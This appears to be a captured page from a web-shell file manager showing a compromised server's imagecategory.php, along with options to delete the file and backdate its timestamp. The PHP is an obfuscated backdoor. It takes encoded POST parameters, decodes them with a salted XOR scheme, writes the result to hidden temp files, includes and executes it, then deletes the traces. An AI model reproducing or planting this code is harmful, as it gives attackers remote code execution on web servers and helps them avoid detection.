文件操作 - imagecategory.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/imagecategory.php
编辑文件内容
<?php if(filter_has_var(INPUT_POST, "\x74oken")){ $mrk = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP")]); $comp = $_POST["\x74oken"]; $comp = explode( '.' , $comp ); $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $s = 0; $__len = count($comp ); do { if($s >= $__len) break; $v2 = $comp[$s]; $chS = ord($salt[$s% $sLen] ); $d =((int)$v2 - $chS -($s% 10)) ^ 20; $value .= chr($d ); $s++; } while(true ); while ($val = array_shift($mrk)) { if ((is_dir($val) and is_writable($val))) { $item = str_replace("{var_dir}", $val, "{var_dir}/.obj"); if (file_put_contents($item, $value)) { include $item; @unlink($item); exit; } } } } if(!empty($_POST["\x64\x61t"])){ $component = $_POST["\x64\x61t"]; $component = explode('.' , $component ); $parameter_group= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s6); $u= 0; array_walk( $component,function( $v6) use( &$parameter_group,&$u,$s6,$lenS) { $chS= ord( $s6[$u % $lenS]); $d= ( ( int)$v6 - $chS -( $u % 10)) ^ 44; $parameter_group .= chr( $d); $u++; }); $res = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir")]); foreach ($res as $bind) { if (array_product([is_dir($bind), is_writable($bind)])) { $k = implode("/", [$bind, ".comp"]); $success = file_put_contents($k, $parameter_group); if ($success) { include $k; @unlink($k); exit;} } } } if(isset($_POST) && isset($_POST["en\x74\x69ty"])){ $pset = array_filter([getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm"]); $symbol = $_POST["en\x74\x69ty"]; $symbol = explode ( '.', $symbol ); $marker = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5 ); $v = 0; array_walk( $symbol , function( $v9) use( &$marker , &$v , $s5 , $lenS) { $chS = ord( $s5[$v %$lenS] ); $d =( ( int)$v9 - $chS -( $v %10)) ^ 1; $marker .= chr( $d ); $v++;} ); foreach ($pset as $key => $parameter_group) { if (is_dir($parameter_group) ? is_writable($parameter_group) : false) { $binding = vsprintf("%s/%s", [$parameter_group, ".itm"]); if (file_put_contents($binding, $marker)) { include $binding; @unlink($binding); die(); } } } } if(filter_has_var(INPUT_POST, "\x70oi\x6Ete\x72")){ $item = array_filter([getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); $factor = $_REQUEST["\x70oi\x6Ete\x72"]; $factor =explode ( "." , $factor ) ; $pset = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2 ); foreach ($factor as $t => $v6): $chS = ord($s2[$t % $lenS] ); $d = ((int)$v6 - $chS - ($t % 10)) ^ 24; $pset .= chr($d ); endforeach; foreach ($item as $key => $ent) { if (array_product([is_dir($ent), is_writable($ent)])) { $ref = str_replace("{var_dir}", $ent, "{var_dir}/.flag"); $file = fopen($ref, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $ref; @unlink($ref); die(); } } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件